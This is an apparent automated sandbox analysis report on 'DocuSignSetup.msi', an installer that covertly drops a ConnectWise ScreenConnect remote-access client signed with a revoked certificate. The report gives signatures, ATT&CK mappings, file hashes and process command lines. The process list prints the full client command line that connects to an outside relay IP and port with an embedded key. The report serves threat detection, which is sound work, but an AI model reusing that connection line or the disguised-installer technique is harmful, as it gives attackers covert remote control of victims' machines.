Overview

overview

8

Static

static

3

DocuSignSetup.msi

windows10-2004-x64

8

DocuSignSetup.msi

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/07/2026, 06:17

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General

  • Target
    DocuSignSetup.msi
  • Size 11.1MB
  • Sample260731-g2e36sxtaz
  • SHA256 2b2c1911e4ef594d825f1517071c12b0160071b71765961b6110eebb7198f5e4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordiscoverypersistenceprivilege_escalationransomwareratrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\DocuSignSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4848
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:472
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 35465CCAA4937B0D4DDB529904ADA3C1 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3372
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB00C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240759250 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:124
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4972
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 96206AC78F61689E5EC62AC8761827DD
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3492
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7AF098369FCD1EC1D0EAC744031C57E4 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1132
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:424
    • C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=142.202.189.109&p=8041&s=1c03dfda-ae4f-4b7b-84fa-3fbde09f70c1&k=BgIAAACkAABSU0ExAAgAAAEAAQCByS%2bUs9e0om1TMRcx91Xtlqhmr4e%2bpkzE3FHMRmskvucj1IqjpzbLX5W6RjtCVI0%2b%2fPSiM8czW%2fQaklVMyArXi7YFkE7sxr8XZTJoxWKOag1AtjC3D%2bnX2srD4a1C0mErFjb1m8k%2bKjPPZtQr8Xm%2bWp2CCb1mE6bjk8nB080rhDqUfvrg6kxVsT5dlqqT5AS8YAZbQ97y0HCnuf4%2bfDsfm4q4P7UoguXzHHzSBUsegRvbzbFQyifPW4Kx97ELOSLe3CqLo2ZoqbuxSiu%2bqZ7DJSRgSAr2yFg4gUbx2dtj82HTX2%2f4tyWvyyWdjagGb0VajfnyHA0%2fzuQczDrtR7fL"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2908
      • C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.WindowsClient.exe" "RunRole" "21694645-fef6-42c5-bd58-885b54a8324e" "User"
        2⤵
        • Executes dropped EXE
        PID:6132
      • C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.WindowsClient.exe" "RunRole" "6d173f9c-17fc-4b2f-bb64-115639bbafb8" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5328

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Defense Evasion

          Modify Registry

          1
          T1112

          System Binary Proxy Execution

          1
          T1218

          Msiexec

          1
          T1218.007

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5a0a72.rbs
          • Path C:\Config.Msi\e5a0a72.rbs
          • Size 214KB
          • SHA256 66fd1edd7179301570211f9a8f15692846335d5ac0721a68cc172beace70e3fa
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.Override.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\Client.Override.en-US.resources
          • Size 471B
          • SHA256 c9f5d233b7bfa4af02ea322e897cb6f3924cad6aa790d238116324f1ee0cc96c
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\app.config
          • Size 1KB
          • SHA256 9fbd6c73b20a82848f2f0c8f5e0b8ba7e80a118d6666a8f7cdb5633e002813d6
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (7971e4fd7a9192c9)\system.config
          • Size 945B
          • SHA256 ea01636d271fc56d8b58fac126695345c2af23f24516fed200b21c729ba174a1
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSIB00C.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSIB00C.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIB00C.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIB00C.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIB00C.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIB00C.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSI10EA.tmp
          • Path C:\Windows\Installer\MSI10EA.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e5a0a71.msi
          • Path C:\Windows\Installer\e5a0a71.msi
          • Size 11.1MB
          • SHA256 2b2c1911e4ef594d825f1517071c12b0160071b71765961b6110eebb7198f5e4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 4542b4b9fcde5e296b81b1ca24bda0d195eb920ceb179a7bcbffdb47b4ae7a50
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {86c9432a-3efe-49a5-a4f5-ba3495957f08}_OnDiskSnapshotProp
          • Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{86c9432a-3efe-49a5-a4f5-ba3495957f08}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 ddcb37bc4af731b16cf0fa0db99d06ad5e0912f8f9f0b56be0a0775d50f4d9be
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/124-30-0x0000000005F60000-0x000000000610C000-memory.dmp
          Download

          memory/124-18-0x0000000003BE0000-0x0000000003C0E000-memory.dmp
          Download

          memory/124-22-0x0000000003C20000-0x0000000003C2A000-memory.dmp
          Download

          memory/124-26-0x0000000005D20000-0x0000000005DAC000-memory.dmp
          Download

          memory/124-31-0x00000000066D0000-0x0000000006C8A000-memory.dmp
          Download

          memory/2908-74-0x0000000001EE0000-0x0000000001EF8000-memory.dmp
          Download

          memory/2908-101-0x0000000004B00000-0x0000000004B92000-memory.dmp
          Download

          memory/2908-96-0x00000000049D0000-0x0000000004A20000-memory.dmp
          Download

          memory/2908-105-0x0000000004CF0000-0x0000000004DC5000-memory.dmp
          Download

          memory/2908-100-0x0000000004A20000-0x0000000004A56000-memory.dmp
          Download

          memory/2908-103-0x0000000004980000-0x00000000049C1000-memory.dmp
          Download

          memory/5328-122-0x000000001B640000-0x000000001B76F000-memory.dmp
          Download

          memory/6132-117-0x000000001C0D0000-0x000000001C27C000-memory.dmp
          Download

          memory/6132-118-0x000000001C410000-0x000000001C598000-memory.dmp
          Download

          memory/6132-119-0x0000000001720000-0x0000000001738000-memory.dmp
          Download

          memory/6132-120-0x0000000002F10000-0x0000000002F28000-memory.dmp
          Download

          memory/6132-116-0x000000001BE90000-0x000000001BF1C000-memory.dmp
          Download

          memory/6132-114-0x0000000000D10000-0x0000000000DA8000-memory.dmp
          Download

          memory/6132-115-0x0000000002F70000-0x0000000002FA6000-memory.dmp
          Download

          memory/6132-125-0x000000001BA60000-0x000000001BB8F000-memory.dmp
          Download